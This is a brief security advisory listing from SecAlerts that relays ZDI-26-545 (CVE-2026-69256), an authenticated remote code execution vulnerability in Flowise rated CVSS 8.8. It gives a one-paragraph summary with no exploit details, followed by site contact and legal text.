This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8. The following CVEs are assigned: CVE-2026-69256.

First published (updated )

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8. The following CVEs are assigned: CVE-2026-69256.

First published (updated )
Advisory
ZDI-26-545

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203